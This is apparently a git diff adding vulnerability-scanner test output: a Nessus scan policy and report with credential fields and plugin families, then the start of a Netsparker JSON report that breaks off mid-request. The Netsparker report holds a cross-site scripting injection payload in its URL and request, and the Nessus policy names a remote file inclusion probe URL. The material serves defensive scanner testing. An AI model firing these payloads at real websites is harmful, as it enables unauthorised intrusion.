+Salesforce.com Compliance Checks[file]:Policy file #1 : +Policy file #1 : +file + + + +Salesforce.com Compliance Checks +76711 +Salesforce.com Compliance Checks[file]:Policy file #2 : +Policy file #2 : +file + + + +Salesforce.com Compliance Checks +76711 +Salesforce.com Compliance Checks[file]:Policy file #3 : +Policy file #3 : +file + + + +Salesforce.com Compliance Checks +76711 +Salesforce.com Compliance Checks[file]:Policy file #4 : +Policy file #4 : +file + + + +Salesforce.com Compliance Checks +76711 +Salesforce.com Compliance Checks[file]:Policy file #5 : +Policy file #5 : +file + + + +SCAP Linux Compliance Checks +66757 +SCAP Linux Compliance Checks[file]:SCAP File (zip) #1 : +SCAP File (zip) #1 : +file + + + +SCAP Linux Compliance Checks +66757 +SCAP Linux Compliance Checks[radio]:SCAP Version #1 : +SCAP Version #1 : +radio +1.2;1.1;1.0 +1.2;1.1;1.0 + +SCAP Linux Compliance Checks +66757 +SCAP Linux Compliance Checks[entry]:SCAP Data Stream ID (1.2 only) #1 : +SCAP Data Stream ID (1.2 only) #1 : +entry + + + +SCAP Linux Compliance Checks +66757 +SCAP Linux Compliance Checks[entry]:SCAP Benchmark ID #1 : +SCAP Benchmark ID #1 : +entry + + + +SCAP Linux Compliance Checks +66757 +SCAP Linux Compliance Checks[entry]:SCAP Profile ID #1 : +SCAP Profile ID #1 : +entry + + + +SCAP Linux Compliance Checks +66757 +SCAP Linux Compliance Checks[radio]:OVAL Result Type #1 : +OVAL Result Type #1 : +radio +Full results w/ system characteristics;Full results w/o system characteristics;Thin results +Full results w/ system characteristics;Full results w/o system characteristics;Thin results + +SCAP Linux Compliance Checks +66757 +SCAP Linux Compliance Checks[file]:SCAP File (zip) #2 : +SCAP File (zip) #2 : +file + + + +SCAP Linux Compliance Checks +66757 +SCAP Linux Compliance Checks[radio]:SCAP Version #2 : +SCAP Version #2 : +radio +1.2;1.1;1.0 +1.2;1.1;1.0 + +SCAP Linux Compliance Checks +66757 +SCAP Linux Compliance Checks[entry]:SCAP Data Stream ID (1.2 only) #2 : +SCAP Data Stream ID (1.2 only) #2 : +entry + + + +SCAP Linux Compliance Checks +66757 +SCAP Linux Compliance Checks[entry]:SCAP Benchmark ID #2 : +SCAP Benchmark ID #2 : +entry + + + +SCAP Linux Compliance Checks +66757 +SCAP Linux Compliance Checks[entry]:SCAP Profile ID #2 : +SCAP Profile ID #2 : +entry + + + +SCAP Linux Compliance Checks +66757 +SCAP Linux Compliance Checks[radio]:OVAL Result Type #2 : +OVAL Result Type #2 : +radio +Full results w/ system characteristics;Full results w/o system characteristics;Thin results +Full results w/ system characteristics;Full results w/o system characteristics;Thin results + +SCAP Linux Compliance Checks +66757 +SCAP Linux Compliance Checks[file]:SCAP File (zip) #3 : +SCAP File (zip) #3 : +file + + + +SCAP Linux Compliance Checks +66757 +SCAP Linux Compliance Checks[radio]:SCAP Version #3 : +SCAP Version #3 : +radio +1.2;1.1;1.0 +1.2;1.1;1.0 + +SCAP Linux Compliance Checks +66757 +SCAP Linux Compliance Checks[entry]:SCAP Data Stream ID (1.2 only) #3 : +SCAP Data Stream ID (1.2 only) #3 : +entry + + + +SCAP Linux Compliance Checks +66757 +SCAP Linux Compliance Checks[entry]:SCAP Benchmark ID #3 : +SCAP Benchmark ID #3 : +entry + + + +SCAP Linux Compliance Checks +66757 +SCAP Linux Compliance Checks[entry]:SCAP Profile ID #3 : +SCAP Profile ID #3 : +entry + + + +SCAP Linux Compliance Checks +66757 +SCAP Linux Compliance Checks[radio]:OVAL Result Type #3 : +OVAL Result Type #3 : +radio +Full results w/ system characteristics;Full results w/o system characteristics;Thin results +Full results w/ system characteristics;Full results w/o system characteristics;Thin results + +SCAP Linux Compliance Checks +66757 +SCAP Linux Compliance Checks[file]:SCAP File (zip) #4 : +SCAP File (zip) #4 : +file + + + +SCAP Linux Compliance Checks +66757 +SCAP Linux Compliance Checks[radio]:SCAP Version #4 : +SCAP Version #4 : +radio +1.2;1.1;1.0 +1.2;1.1;1.0 + +SCAP Linux Compliance Checks +66757 +SCAP Linux Compliance Checks[entry]:SCAP Data Stream ID (1.2 only) #4 : +SCAP Data Stream ID (1.2 only) #4 : +entry + + + +SCAP Linux Compliance Checks +66757 +SCAP Linux Compliance Checks[entry]:SCAP Benchmark ID #4 : +SCAP Benchmark ID #4 : +entry + + + +SCAP Linux Compliance Checks +66757 +SCAP Linux Compliance Checks[entry]:SCAP Profile ID #4 : +SCAP Profile ID #4 : +entry + + + +SCAP Linux Compliance Checks +66757 +SCAP Linux Compliance Checks[radio]:OVAL Result Type #4 : +OVAL Result Type #4 : +radio +Full results w/ system characteristics;Full results w/o system characteristics;Thin results +Full results w/ system characteristics;Full results w/o system characteristics;Thin results + +SCAP Linux Compliance Checks +66757 +SCAP Linux Compliance Checks[file]:SCAP File (zip) #5 : +SCAP File (zip) #5 : +file + + + +SCAP Linux Compliance Checks +66757 +SCAP Linux Compliance Checks[radio]:SCAP Version #5 : +SCAP Version #5 : +radio +1.2;1.1;1.0 +1.2;1.1;1.0 + +SCAP Linux Compliance Checks +66757 +SCAP Linux Compliance Checks[entry]:SCAP Data Stream ID (1.2 only) #5 : +SCAP Data Stream ID (1.2 only) #5 : +entry + + + +SCAP Linux Compliance Checks +66757 +SCAP Linux Compliance Checks[entry]:SCAP Benchmark ID #5 : +SCAP Benchmark ID #5 : +entry + + + +SCAP Linux Compliance Checks +66757 +SCAP Linux Compliance Checks[entry]:SCAP Profile ID #5 : +SCAP Profile ID #5 : +entry + + + +SCAP Linux Compliance Checks +66757 +SCAP Linux Compliance Checks[radio]:OVAL Result Type #5 : +OVAL Result Type #5 : +radio +Full results w/ system characteristics;Full results w/o system characteristics;Thin results +Full results w/ system characteristics;Full results w/o system characteristics;Thin results + +SCAP Windows Compliance Checks +66756 +SCAP Windows Compliance Checks[file]:SCAP File (zip) #1 : +SCAP File (zip) #1 : +file + + + +SCAP Windows Compliance Checks +66756 +SCAP Windows Compliance Checks[radio]:SCAP Version #1 : +SCAP Version #1 : +radio +1.2;1.1;1.0 +1.2;1.1;1.0 + +SCAP Windows Compliance Checks +66756 +SCAP Windows Compliance Checks[entry]:SCAP Data Stream ID (1.2 only) #1 : +SCAP Data Stream ID (1.2 only) #1 : +entry + + + +SCAP Windows Compliance Checks +66756 +SCAP Windows Compliance Checks[entry]:SCAP Benchmark ID #1 : +SCAP Benchmark ID #1 : +entry + + + +SCAP Windows Compliance Checks +66756 +SCAP Windows Compliance Checks[entry]:SCAP Profile ID #1 : +SCAP Profile ID #1 : +entry + + + +SCAP Windows Compliance Checks +66756 +SCAP Windows Compliance Checks[radio]:OVAL Result Type #1 : +OVAL Result Type #1 : +radio +Full results w/ system characteristics;Full results w/o system characteristics;Thin results +Full results w/ system characteristics;Full results w/o system characteristics;Thin results + +SCAP Windows Compliance Checks +66756 +SCAP Windows Compliance Checks[file]:SCAP File (zip) #2 : +SCAP File (zip) #2 : +file + + + +SCAP Windows Compliance Checks +66756 +SCAP Windows Compliance Checks[radio]:SCAP Version #2 : +SCAP Version #2 : +radio +1.2;1.1;1.0 +1.2;1.1;1.0 + +SCAP Windows Compliance Checks +66756 +SCAP Windows Compliance Checks[entry]:SCAP Data Stream ID (1.2 only) #2 : +SCAP Data Stream ID (1.2 only) #2 : +entry + + + +SCAP Windows Compliance Checks +66756 +SCAP Windows Compliance Checks[entry]:SCAP Benchmark ID #2 : +SCAP Benchmark ID #2 : +entry + + + +SCAP Windows Compliance Checks +66756 +SCAP Windows Compliance Checks[entry]:SCAP Profile ID #2 : +SCAP Profile ID #2 : +entry + + + +SCAP Windows Compliance Checks +66756 +SCAP Windows Compliance Checks[radio]:OVAL Result Type #2 : +OVAL Result Type #2 : +radio +Full results w/ system characteristics;Full results w/o system characteristics;Thin results +Full results w/ system characteristics;Full results w/o system characteristics;Thin results + +SCAP Windows Compliance Checks +66756 +SCAP Windows Compliance Checks[file]:SCAP File (zip) #3 : +SCAP File (zip) #3 : +file + + + +SCAP Windows Compliance Checks +66756 +SCAP Windows Compliance Checks[radio]:SCAP Version #3 : +SCAP Version #3 : +radio +1.2;1.1;1.0 +1.2;1.1;1.0 + +SCAP Windows Compliance Checks +66756 +SCAP Windows Compliance Checks[entry]:SCAP Data Stream ID (1.2 only) #3 : +SCAP Data Stream ID (1.2 only) #3 : +entry + + + +SCAP Windows Compliance Checks +66756 +SCAP Windows Compliance Checks[entry]:SCAP Benchmark ID #3 : +SCAP Benchmark ID #3 : +entry + + + +SCAP Windows Compliance Checks +66756 +SCAP Windows Compliance Checks[entry]:SCAP Profile ID #3 : +SCAP Profile ID #3 : +entry + + + +SCAP Windows Compliance Checks +66756 +SCAP Windows Compliance Checks[radio]:OVAL Result Type #3 : +OVAL Result Type #3 : +radio +Full results w/ system characteristics;Full results w/o system characteristics;Thin results +Full results w/ system characteristics;Full results w/o system characteristics;Thin results + +SCAP Windows Compliance Checks +66756 +SCAP Windows Compliance Checks[file]:SCAP File (zip) #4 : +SCAP File (zip) #4 : +file + + + +SCAP Windows Compliance Checks +66756 +SCAP Windows Compliance Checks[radio]:SCAP Version #4 : +SCAP Version #4 : +radio +1.2;1.1;1.0 +1.2;1.1;1.0 + +SCAP Windows Compliance Checks +66756 +SCAP Windows Compliance Checks[entry]:SCAP Data Stream ID (1.2 only) #4 : +SCAP Data Stream ID (1.2 only) #4 : +entry + + + +SCAP Windows Compliance Checks +66756 +SCAP Windows Compliance Checks[entry]:SCAP Benchmark ID #4 : +SCAP Benchmark ID #4 : +entry + + + +SCAP Windows Compliance Checks +66756 +SCAP Windows Compliance Checks[entry]:SCAP Profile ID #4 : +SCAP Profile ID #4 : +entry + + + +SCAP Windows Compliance Checks +66756 +SCAP Windows Compliance Checks[radio]:OVAL Result Type #4 : +OVAL Result Type #4 : +radio +Full results w/ system characteristics;Full results w/o system characteristics;Thin results +Full results w/ system characteristics;Full results w/o system characteristics;Thin results + +SCAP Windows Compliance Checks +66756 +SCAP Windows Compliance Checks[file]:SCAP File (zip) #5 : +SCAP File (zip) #5 : +file + + + +SCAP Windows Compliance Checks +66756 +SCAP Windows Compliance Checks[radio]:SCAP Version #5 : +SCAP Version #5 : +radio +1.2;1.1;1.0 +1.2;1.1;1.0 + +SCAP Windows Compliance Checks +66756 +SCAP Windows Compliance Checks[entry]:SCAP Data Stream ID (1.2 only) #5 : +SCAP Data Stream ID (1.2 only) #5 : +entry + + + +SCAP Windows Compliance Checks +66756 +SCAP Windows Compliance Checks[entry]:SCAP Benchmark ID #5 : +SCAP Benchmark ID #5 : +entry + + + +SCAP Windows Compliance Checks +66756 +SCAP Windows Compliance Checks[entry]:SCAP Profile ID #5 : +SCAP Profile ID #5 : +entry + + + +SCAP Windows Compliance Checks +66756 +SCAP Windows Compliance Checks[radio]:OVAL Result Type #5 : +OVAL Result Type #5 : +radio +Full results w/ system characteristics;Full results w/o system characteristics;Thin results +Full results w/ system characteristics;Full results w/o system characteristics;Thin results + +Patch Management: SCCM Server Settings +57029 +Patch Management: SCCM Server Settings[entry]:SCCM Server : +SCCM Server : +entry + + + +Patch Management: SCCM Server Settings +57029 +Patch Management: SCCM Server Settings[entry]:SCCM Domain : +SCCM Domain : +entry + + + +Patch Management: SCCM Server Settings +57029 +Patch Management: SCCM Server Settings[entry]:SCCM Username : +SCCM Username : +entry + + + +Patch Management: SCCM Server Settings +57029 +Patch Management: SCCM Server Settings[password]:SCCM Password : +SCCM Password : +password + + + +SMB Scope +10917 +SMB Scope[checkbox]:Request information about the domain +Request information about the domain +checkbox +yes +yes + +SMB Use Host SID to Enumerate Local Users +10860 +SMB Use Host SID to Enumerate Local Users[entry]:Start UID : +Start UID : +entry +1000 +1000 + +SMB Use Host SID to Enumerate Local Users +10860 +SMB Use Host SID to Enumerate Local Users[entry]:End UID : +End UID : +entry +1200 +1200 + +SMB Use Domain SID to Enumerate Users +10399 +SMB Use Domain SID to Enumerate Users[entry]:Start UID : +Start UID : +entry +1000 +1000 + +SMB Use Domain SID to Enumerate Users +10399 +SMB Use Domain SID to Enumerate Users[entry]:End UID : +End UID : +entry +1200 +1200 + +SMTP settings +11038 +SMTP settings[entry]:Third party domain : +Third party domain : +entry +example.edu +example.com + +SMTP settings +11038 +SMTP settings[entry]:From address : +From address : +entry +nobody@example.edu +nobody@example.com + +SMTP settings +11038 +SMTP settings[entry]:To address : +To address : +entry +postmaster@[AUTO_REPLACED_IP] +postmaster@[AUTO_REPLACED_IP] + +SNMP settings +19762 +SNMP settings[entry]:Community name : +Community name : +entry +public +public + +SNMP settings +19762 +SNMP settings[entry]:Community name (1) : +Community name (1) : +entry + + + +SNMP settings +19762 +SNMP settings[entry]:Community name (2) : +Community name (2) : +entry + + + +SNMP settings +19762 +SNMP settings[entry]:Community name (3) : +Community name (3) : +entry + + + +SNMP settings +19762 +SNMP settings[entry]:UDP port : +UDP port : +entry +161 +161 + +SNMP settings +19762 +SNMP settings[entry]:Additional UDP port (1) : +Additional UDP port (1) : +entry + +161 + +SNMP settings +19762 +SNMP settings[entry]:Additional UDP port (2) : +Additional UDP port (2) : +entry + +161 + +SNMP settings +19762 +SNMP settings[entry]:Additional UDP port (3) : +Additional UDP port (3) : +entry + +161 + +SNMP settings +19762 +SNMP settings[entry]:SNMPv3 user name : +SNMPv3 user name : +entry + + + +SNMP settings +19762 +SNMP settings[password]:SNMPv3 authentication password : +SNMPv3 authentication password : +password + + + +SNMP settings +19762 +SNMP settings[radio]:SNMPv3 authentication algorithm : +SNMPv3 authentication algorithm : +radio +MD5;SHA1 +MD5;SHA1 + +SNMP settings +19762 +SNMP settings[password]:SNMPv3 privacy password : +SNMPv3 privacy password : +password + + + +SNMP settings +19762 +SNMP settings[radio]:SNMPv3 privacy algorithm : +SNMPv3 privacy algorithm : +radio +AES;DES +AES;DES + +SonicWALL SonicOS Compliance Checks +71955 +SonicWALL SonicOS Compliance Checks[file]:Policy file #1 : +Policy file #1 : +file + + + +SonicWALL SonicOS Compliance Checks +71955 +SonicWALL SonicOS Compliance Checks[file]:Policy file #2 : +Policy file #2 : +file + + + +SonicWALL SonicOS Compliance Checks +71955 +SonicWALL SonicOS Compliance Checks[file]:Policy file #3 : +Policy file #3 : +file + + + +SonicWALL SonicOS Compliance Checks +71955 +SonicWALL SonicOS Compliance Checks[file]:Policy file #4 : +Policy file #4 : +file + + + +SonicWALL SonicOS Compliance Checks +71955 +SonicWALL SonicOS Compliance Checks[file]:Policy file #5 : +Policy file #5 : +file + + + +SonicWALL SonicOS Compliance Checks +71955 +SonicWALL SonicOS Compliance Checks[file]:Offline config file (.txt or .zip) : +Offline config file (.txt or .zip) : +file + + + +SSH settings +14273 +SSH settings[entry]:SSH user name : +SSH user name : +entry +root +root + +SSH settings +14273 +SSH settings[password]:SSH password (unsafe!) : +SSH password (unsafe!) : +password + + + +SSH settings +14273 +SSH settings[file]:SSH public key to use : +SSH public key to use : +file + + + +SSH settings +14273 +SSH settings[file]:SSH private key to use : +SSH private key to use : +file + + + +SSH settings +14273 +SSH settings[password]:Passphrase for SSH key : +Passphrase for SSH key : +password + + + +SSH settings +14273 +SSH settings[radio]:Elevate privileges with : +Elevate privileges with : +radio +Nothing;sudo;su;su+sudo;dzdo;pbrun;Cisco 'enable' +Nothing;sudo;su;su+sudo;dzdo;pbrun;Cisco 'enable' + +SSH settings +14273 +SSH settings[entry]:Privilege elevation binary path (directory) : +Privilege elevation binary path (directory) : +entry + + + +SSH settings +14273 +SSH settings[entry]:su login : +su login : +entry + + + +SSH settings +14273 +SSH settings[entry]:Escalation account : +Escalation account : +entry +root +root + +SSH settings +14273 +SSH settings[password]:Escalation password : +Escalation password : +password + + + +SSH settings +14273 +SSH settings[file]:SSH known_hosts file : +SSH known_hosts file : +file + + + +SSH settings +14273 +SSH settings[entry]:Preferred SSH port : +Preferred SSH port : +entry +22 +22 + +SSH settings +14273 +SSH settings[entry]:Client version : +Client version : +entry +OpenSSH_5.0 +OpenSSH_5.0 + +SSH settings +14273 +SSH settings[entry]:Additional SSH user name (1) : +Additional SSH user name (1) : +entry + + + +SSH settings +14273 +SSH settings[password]:Additional SSH password (1) : +Additional SSH password (1) : +password + + + +SSH settings +14273 +SSH settings[entry]:Additional SSH user name (2) : +Additional SSH user name (2) : +entry + + + +SSH settings +14273 +SSH settings[password]:Additional SSH password (2) : +Additional SSH password (2) : +password + + + +SSH settings +14273 +SSH settings[entry]:Additional SSH user name (3) : +Additional SSH user name (3) : +entry + + + +SSH settings +14273 +SSH settings[password]:Additional SSH password (3) : +Additional SSH password (3) : +password + + + +SSH settings +14273 +SSH settings[entry]:Additional SSH user name (4) : +Additional SSH user name (4) : +entry + + + +SSH settings +14273 +SSH settings[password]:Additional SSH password (4) : +Additional SSH password (4) : +password + + + +SSH settings +14273 +SSH settings[entry]:Additional SSH user name (5) : +Additional SSH user name (5) : +entry + + + +SSH settings +14273 +SSH settings[password]:Additional SSH password (5) : +Additional SSH password (5) : +password + + + +SSL Certificate Expiry +15901 +SSL Certificate Expiry[entry]:Identify certificates that expire within x days +Identify certificates that expire within x days +entry +60 +60 + +SMB Registry : Start the Registry Service during the scan +35703 +SMB Registry : Start the Registry Service during the scan[checkbox]:Start the registry service during the scan +Start the registry service during the scan +checkbox +no +no + +SMB Registry : Start the Registry Service during the scan +35703 +SMB Registry : Start the Registry Service during the scan[checkbox]:Enable administrative shares during the scan +Enable administrative shares during the scan +checkbox +no +no + +Patch Management: Symantec Altiris Settings +78013 +Patch Management: Symantec Altiris Settings[entry]:Symantec Altiris Database Server : +Symantec Altiris Database Server : +entry + + + +Patch Management: Symantec Altiris Settings +78013 +Patch Management: Symantec Altiris Settings[entry]:Symantec Altiris Database Port : +Symantec Altiris Database Port : +entry +5690 +5690 + +Patch Management: Symantec Altiris Settings +78013 +Patch Management: Symantec Altiris Settings[entry]:Symantec Altiris Database Name : +Symantec Altiris Database Name : +entry +Symantec_CMDB +Symantec_CMDB + +Patch Management: Symantec Altiris Settings +78013 +Patch Management: Symantec Altiris Settings[checkbox]:Symantec Altiris Use Windows Credentials : +Symantec Altiris Use Windows Credentials : +checkbox +no +no + +Patch Management: Symantec Altiris Settings +78013 +Patch Management: Symantec Altiris Settings[entry]:Symantec Altiris Database Username : +Symantec Altiris Database Username : +entry + + + +Patch Management: Symantec Altiris Settings +78013 +Patch Management: Symantec Altiris Settings[password]:Symantec Altiris Database Password : +Symantec Altiris Database Password : +password + + + +Unix Compliance Checks +21157 +Unix Compliance Checks[file]:Policy file #1 : +Policy file #1 : +file + + + +Unix Compliance Checks +21157 +Unix Compliance Checks[file]:Policy file #2 : +Policy file #2 : +file + + + +Unix Compliance Checks +21157 +Unix Compliance Checks[file]:Policy file #3 : +Policy file #3 : +file + + + +Unix Compliance Checks +21157 +Unix Compliance Checks[file]:Policy file #4 : +Policy file #4 : +file + + + +Unix Compliance Checks +21157 +Unix Compliance Checks[file]:Policy file #5 : +Policy file #5 : +file + + + +Unix File Contents Compliance Checks +72095 +Unix File Contents Compliance Checks[file]:Policy file #1 : +Policy file #1 : +file + + + +Unix File Contents Compliance Checks +72095 +Unix File Contents Compliance Checks[file]:Policy file #2 : +Policy file #2 : +file + + + +Unix File Contents Compliance Checks +72095 +Unix File Contents Compliance Checks[file]:Policy file #3 : +Policy file #3 : +file + + + +Unix File Contents Compliance Checks +72095 +Unix File Contents Compliance Checks[file]:Policy file #4 : +Policy file #4 : +file + + + +Unix File Contents Compliance Checks +72095 +Unix File Contents Compliance Checks[file]:Policy file #5 : +Policy file #5 : +file + + + +VMware vCenter/vSphere Compliance Checks +64455 +VMware vCenter/vSphere Compliance Checks[file]:Policy file #1 : +Policy file #1 : +file + + + +VMware vCenter/vSphere Compliance Checks +64455 +VMware vCenter/vSphere Compliance Checks[file]:Policy file #2 : +Policy file #2 : +file + + + +VMware vCenter/vSphere Compliance Checks +64455 +VMware vCenter/vSphere Compliance Checks[file]:Policy file #3 : +Policy file #3 : +file + + + +VMware vCenter/vSphere Compliance Checks +64455 +VMware vCenter/vSphere Compliance Checks[file]:Policy file #4 : +Policy file #4 : +file + + + +VMware vCenter/vSphere Compliance Checks +64455 +VMware vCenter/vSphere Compliance Checks[file]:Policy file #5 : +Policy file #5 : +file + + + +VMware SOAP API Settings +57395 +VMware SOAP API Settings[entry]:VMware user name : +VMware user name : +entry + + + +VMware SOAP API Settings +57395 +VMware SOAP API Settings[password]:VMware password : +VMware password : +password + + + +VMware SOAP API Settings +57395 +VMware SOAP API Settings[checkbox]:Ignore SSL Certificate : +Ignore SSL Certificate : +checkbox +no +no + +VMware vCenter SOAP API Settings +63060 +VMware vCenter SOAP API Settings[entry]:VMware vCenter host : +VMware vCenter host : +entry + + + +VMware vCenter SOAP API Settings +63060 +VMware vCenter SOAP API Settings[entry]:VMware vCenter port : +VMware vCenter port : +entry +443 +443 + +VMware vCenter SOAP API Settings +63060 +VMware vCenter SOAP API Settings[entry]:VMware vCenter user name : +VMware vCenter user name : +entry + + + +VMware vCenter SOAP API Settings +63060 +VMware vCenter SOAP API Settings[password]:VMware vCenter password : +VMware vCenter password : +password + + + +VMware vCenter SOAP API Settings +63060 +VMware vCenter SOAP API Settings[checkbox]:SSL : +SSL : +checkbox +yes +yes + +VMware vCenter SOAP API Settings +63060 +VMware vCenter SOAP API Settings[checkbox]:Verify SSL Certificate : +Verify SSL Certificate : +checkbox +no +no + +Web Application Tests Settings +39471 +Web Application Tests Settings[checkbox]:Enable web applications tests +Enable web applications tests +checkbox +no +no + +Web Application Tests Settings +39471 +Web Application Tests Settings[entry]:Maximum run time (min) : +Maximum run time (min) : +entry +60 +5 + +Web Application Tests Settings +39471 +Web Application Tests Settings[checkbox]:Try all HTTP methods +Try all HTTP methods +checkbox +no +no + +Web Application Tests Settings +39471 +Web Application Tests Settings[radio]:Combinations of arguments values +Combinations of arguments values +radio +one value;some pairs;all pairs (slower but efficient);some combinations;all combinations (extremely slow) +some pairs + +Web Application Tests Settings +39471 +Web Application Tests Settings[checkbox]:HTTP Parameter Pollution +HTTP Parameter Pollution +checkbox +no +yes + +Web Application Tests Settings +39471 +Web Application Tests Settings[radio]:Stop at first flaw +Stop at first flaw +radio +per CGI;per port (quicker);per parameter (slow);look for all flaws (slower) +per CGI + +Web Application Tests Settings +39471 +Web Application Tests Settings[checkbox]:Test embedded web servers +Test embedded web servers +checkbox +no +no + +Web Application Tests Settings +39471 +Web Application Tests Settings[entry]:URL for Remote File Inclusion : +URL for Remote File Inclusion : +entry +http://rfi.nessus.org/rfi.txt +http://rfi.nessus.org/rfi.txt + +Web mirroring +10662 +Web mirroring[entry]:Number of pages to mirror : +Number of pages to mirror : +entry +1000 +1000 + +Web mirroring +10662 +Web mirroring[entry]:Maximum depth : +Maximum depth : +entry +6 +6 + +Web mirroring +10662 +Web mirroring[entry]:Start page : +Start page : +entry +/ +/ + +Web mirroring +10662 +Web mirroring[entry]:Excluded items regex : +Excluded items regex : +entry +/server_privileges\.php|logout +/server_privileges\.php|logout + +Web mirroring +10662 +Web mirroring[checkbox]:Follow dynamic pages : +Follow dynamic pages : +checkbox +no +no + +Wake-on-LAN +52616 +Wake-on-LAN[file]:List of MAC addresses for Wake-on-LAN: +List of MAC addresses for Wake-on-LAN: +file + + + +Wake-on-LAN +52616 +Wake-on-LAN[entry]:Time to wait (in minutes) for the systems to boot: +Time to wait (in minutes) for the systems to boot: +entry +5 +5 + +Malicious Process Detection +59275 +Malicious Process Detection[file]:Additional MD5 hashes (optional) : +Additional MD5 hashes (optional) : +file + + + +Malicious Process Detection +59275 +Malicious Process Detection[file]:Known good MD5 hashes (optional) : +Known good MD5 hashes (optional) : +file + + + +Malicious Process Detection +59275 +Malicious Process Detection[file]:Yara rules file : +Yara rules file : +file + + + +Malicious Process Detection +59275 +Malicious Process Detection[checkbox]:disable_dns_resolution +disable_dns_resolution +checkbox +no +no + +Malicious Process Detection +59275 +Malicious Process Detection[checkbox]:enable_malware_scanning +enable_malware_scanning +checkbox +no +no + +Patch Management: WSUS Server Settings +57031 +Patch Management: WSUS Server Settings[entry]:WSUS Server : +WSUS Server : +entry + + + +Patch Management: WSUS Server Settings +57031 +Patch Management: WSUS Server Settings[entry]:WSUS Port : +WSUS Port : +entry + + + +Patch Management: WSUS Server Settings +57031 +Patch Management: WSUS Server Settings[entry]:WSUS Username : +WSUS Username : +entry + + + +Patch Management: WSUS Server Settings +57031 +Patch Management: WSUS Server Settings[password]:WSUS Password : +WSUS Password : +password + + + +Patch Management: WSUS Server Settings +57031 +Patch Management: WSUS Server Settings[checkbox]:SSL : +SSL : +checkbox +no +no + +Patch Management: WSUS Server Settings +57031 +Patch Management: WSUS Server Settings[checkbox]:Verify SSL Certificate : +Verify SSL Certificate : +checkbox +no +no + + + +MacOS X Local Security Checks +disabled + +Offsec Plugins Disabled +mixed + +F5 Networks Local Security Checks +disabled + +Solaris Local Security Checks +disabled + +Port scanners +mixed + +Mandriva Local Security Checks +disabled + +Debian Local Security Checks +disabled + +Denial of Service +disabled + +HP-UX Local Security Checks +disabled + +Palo Alto Local Security Checks +disabled + +VMware ESX Local Security Checks +disabled + +Oracle Linux Local Security Checks +disabled + +Red Hat Local Security Checks +disabled + +FreeBSD Local Security Checks +disabled + +Amazon Linux Local Security Checks +disabled + +Slackware Local Security Checks +disabled + +Huawei Local Security Checks +disabled + +Gentoo Local Security Checks +disabled + +Fedora Local Security Checks +disabled + +Ubuntu Local Security Checks +disabled + +Virtuozzo Local Security Checks +disabled + +Junos Local Security Checks +disabled + +SuSE Local Security Checks +disabled + +Policy Compliance +disabled + +OracleVM Local Security Checks +disabled + +CentOS Local Security Checks +disabled + +AIX Local Security Checks +disabled + +Scientific Linux Local Security Checks +disabled + +Default Unix Accounts +enabled + +General +enabled + +RPC +enabled + +Settings +enabled + +Mobile Devices +enabled + +Windows : User management +enabled + +CISCO +enabled + +Firewalls +enabled + +Service detection +enabled + +Netware +enabled + +Gain a shell remotely +enabled + +Misc. +enabled + +Databases +enabled + +SMTP problems +enabled + +Windows : Microsoft Bulletins +enabled + +SCADA +enabled + +CGI abuses +enabled + +Offsec Plugins +enabled + +FTP +enabled + +SNMP +enabled + +Incident Response +enabled + +Windows +enabled + +DNS +enabled + +Peer-To-Peer File Sharing +enabled + +Backdoors +enabled + +Web Servers +enabled + +CGI abuses : XSS +enabled + + +200015 +WebSphere Detection - Java Unserialize RCE +Offsec Plugins Disabled +enabled + +34220 +Netstat Portscanner (WMI) +Port scanners +enabled + +14274 +Nessus SNMP Scanner +Port scanners +enabled + +14272 +Netstat Portscanner (SSH) +Port scanners +enabled + +100171 +Oracle Linux 6 / 7 : ghostscript (ELSA-2017-1230) +Oracle Linux Local Security Checks +enabled + +34277 +Nessus UDP Scanner +Port scanners +disabled + +10180 +Ping the remote host +Port scanners +enabled + +10335 +Nessus TCP scanner +Port scanners +disabled + +11219 +Nessus SYN scanner +Port scanners +enabled + +200010 +VNC password bruteforce +Offsec Plugins Disabled +disabled + +1337006 +IPMI 2.0 RAKP Cipher Zero Authentication Bypass with Privileged Level (auxiliary/scanner/ipmi/ipmi_cipher_zero_privileged) +Offsec Plugins Disabled +disabled + + + + + +Fri Jan 12 15:15:40 2018 +1515766540 +false +MYCONFIG +6 +cpe:/o:linux:linux_kernel +linux +cpe:/o:linux:linux_kernel:2.6 +general-purpose +Linux Kernel 2.6 +123.123.123.123 +? +123.123.123.1 +123.123.123.2 +www.example.org +Fri Jan 12 15:09:19 2018 + + +This test gives some information about the remote HTTP protocol - the version used, whether HTTP Keep-Alive and HTTP pipelining are enabled, etc... + +This test is informational only and does not denote any security problem. +http_info.nasl +2017/11/13 +HyperText Transfer Protocol (HTTP) Information +2007/01/30 +remote +None +$Revision: 1.13 $ +n/a +Some information about the remote HTTP configuration can be extracted. + +Response Code : HTTP/1.1 302 Found + +Protocol version : HTTP/1.1 +SSL : yes +Keep-Alive : yes +Options allowed : (Not implemented) +Headers : + + Date: Fri, 12 Jan 2018 14:14:36 GMT + Server: Apache + Location: https://www.example.org/de/ + Content-Length: 215 + Keep-Alive: timeout=15, max=100 + Connection: Keep-Alive + Content-Type: text/html; charset=iso-8859-1 + +Response Body : + +<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> +<html><head> +<title>302 Found</title> +</head><body> +<h1>Found</h1> +<p>The document has moved <a href="https://www.example.org/de/">here</a>.</p> +</body></html> + + + + + + + diff --git a/sechub-other/testoutput/testsparker.com-Vulnerabilities-23_08_2017 10_23.json b/sechub-other/testoutput/testsparker.com-Vulnerabilities-23_08_2017 10_23.json new file mode 100644 index 0000000000..537c12f0a7 --- /dev/null +++ b/sechub-other/testoutput/testsparker.com-Vulnerabilities-23_08_2017 10_23.json @@ -0,0 +1 @@ +{"Generated":"26/01/2018 10:13","Target":{"ScanId":"77093cedf46442f90df2a7d802161177","Url":"http://testsparker.com/","Initiated":"23/08/2017 09:43","Duration":"00:37:27.5225347"},"Vulnerabilities":[{"Url":"http://testsparker.com/About.aspx?hello='%22--%3E%3C/style%3E%3C/scRipt%3E%3CscRipt%3Enetsparker(0x004207)%3C/scRipt%3E","Type":"Xss","Name":"Cross-site Scripting","Severity":"Important","Certainty":100,"Confirmed":true,"State":"Present","Classification":{"Owasp":"A3","Wasc":"8","Cwe":"79","Capec":"19","Pci31":"6.5.7","Pci32":"6.5.7","Hipaa":"164.308(a)"},"HttpRequest":{"Method":"POST","Content":"POST /About.aspx?hello='%22--%3E%3C/style%3E%3C/scRipt%3E%3CscRipt%3Enetsparker(0x004207)%3C/scRipt%3E HTTP/1.1\r\nHost: testsparker.com\r\nCache-Control: no-cache\r\nReferer: http://testsparker.com/About.aspx?hello=visitor\r\nAccept: 